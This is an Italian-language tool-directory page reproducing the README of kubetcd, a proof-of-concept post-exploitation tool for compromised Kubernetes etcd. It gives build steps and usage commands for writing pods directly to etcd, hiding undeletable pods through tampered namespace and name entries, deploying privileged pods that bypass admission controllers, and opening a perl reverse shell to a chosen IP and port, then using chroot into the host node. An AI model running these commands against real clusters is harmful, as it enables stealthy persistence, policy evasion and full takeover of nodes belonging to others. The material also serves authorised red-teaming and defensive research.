Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
kubetcd — Post-exploit di un etcd compromesso, ottenere persistenza e shell remota sui nodi. | Kitploit
Strumenti/GitHubGitHub/nccgroup/kubetcd
Escalation di PrivilegiSicurezza dei ContenitoriMeccanismi di PersistenzaMovimento LateralePost-ExploitPenetration TestingCommand and ControlRed Teaming
GitHubnccgroup/kubetcd

kubetcd

Post-exploit di un etcd compromesso, ottenere persistenza e shell remota sui nodi.

Vedi Repository
9472 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Kubetcd

Wrapper di https://github.com/jpbetz/auger.

Automatizza il deployment dei pod scrivendo direttamente in etcd. Include diverse funzioni per la post-esplorazione di etcd compromessi.

Avvertenza

[!WARNING]
Questa è una PoC, non utilizzarla in un ambiente di produzione. Scrivere direttamente in etcd può causare inconsistenze o dati corrotti, che potrebbero impedire alla logica di kube-apiserver di recuperare o manipolare i dati da etcd. Ambienti di test con più nodi possono essere distribuiti con KIND

Perché?

Il repository principale, auger, fornisce le funzionalità principali per serializzare e deserializzare le entry protobuffer in etcd. Kubetcd è una PoC che avvolge queste funzionalità per avvicinare etcdctl al normale client kubectl. In uno scenario con un etcd compromesso, kubetcd cerca di utilizzare pod manipolati e privilegiati per ottenere persistenza e accesso privilegiato a uno o tutti gli host del cluster. Nota: kubetcd al momento supporta solo operazioni sui pod.

Requisiti

Kubetcd recupera i certificati e le chiavi per autenticarsi al servizio etcd dai seguenti percorsi predefiniti:

  • /etc/kubernetes/pki/etcd/ca.crt
  • /etc/kubernetes/pki/etcd/server.crt
  • /etc/kubernetes/pki/etcd/server.key (leggibile solo da root)

Inoltre, l'endpoint predefinito è impostato su 127.0.0.1:2379.

Tutti i valori predefiniti precedenti possono essere modificati tramite parametri.

Inoltre, deve essere installato etcdctl, il client per etcd.

root@kitploit:~
sudo apt install etcd-client

Installazione

Clona e compila:

root@kitploit:~
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

Problemi noti

Potresti riscontrare il seguente errore:

root@kitploit:~
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

In tal caso, compila kubetcd con Golang 1.19.

Fai riferimento a https://github.com/jpbetz/auger per le funzionalità principali di auger, che rimangono ancora. Questo README descriverà solo le nuove funzionalità aggiunte dal wrapper:


Esecuzione di kubetcd

root@kitploit:~
./kubetcd -h

Ottenere oggetti

root@kitploit:~
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

Creare un nuovo pod

templateName deve essere un pod in esecuzione nel namespace predefinito:

root@kitploit:~
./kubetcd create pod <name> -t <templateName>

Puoi sovrascrivere un pod in esecuzione impostando gli stessi valori di name e templateName.

Cambiare l'immagine

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --image <image>

Alterare l'ora di avvio

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

Persistenza tramite dati inconsistenti

ETCD salva i nuovi pod in /registry/pods/<namespace>/<name>, ma i campi namespace e name possono essere alterati. In questo modo, questi pod possono essere elencati con kubectl ma non eliminati.

root@kitploit:~
./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

Distribuire su un nodo specifico

Distribuisci il workload su qualsiasi nodo a piacimento:

root@kitploit:~
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

Bypassare gli AdmissionControllers

Distribuisci pod privilegiati in namespace ristretti. Questo consente di bypassare gli AdmissionControllers integrati come PSP, PSA o qualsiasi altra policy basata su policy personalizzate come OPA Gatekeer o Kyverno:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P 

Il flag -P imposta ogni pod come privileged e condivide i namespace network, PID e IPC con il nodo sottostante.

Reverse shell

Distribuisci pod privilegiati in namespace ristretti e ottieni una shell remota:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

Questo avvierà una reverse shell perl, presente in molte immagini per impostazione predefinita. Una volta ottenuta la reverse shell, cambia il filesystem root con chroot /host per ottenere accesso completo al nodo.

TODO

  • Aggiungere supporto per altri binari - non solo perl - per ottenere una shell remota
  • Aggiungere supporto per l'uso di template da namespace diversi da quello predefinito
  • Aggiungere supporto per creare/ottenere/eliminare elementi al di fuori del branch corev1
Scarica lo strumento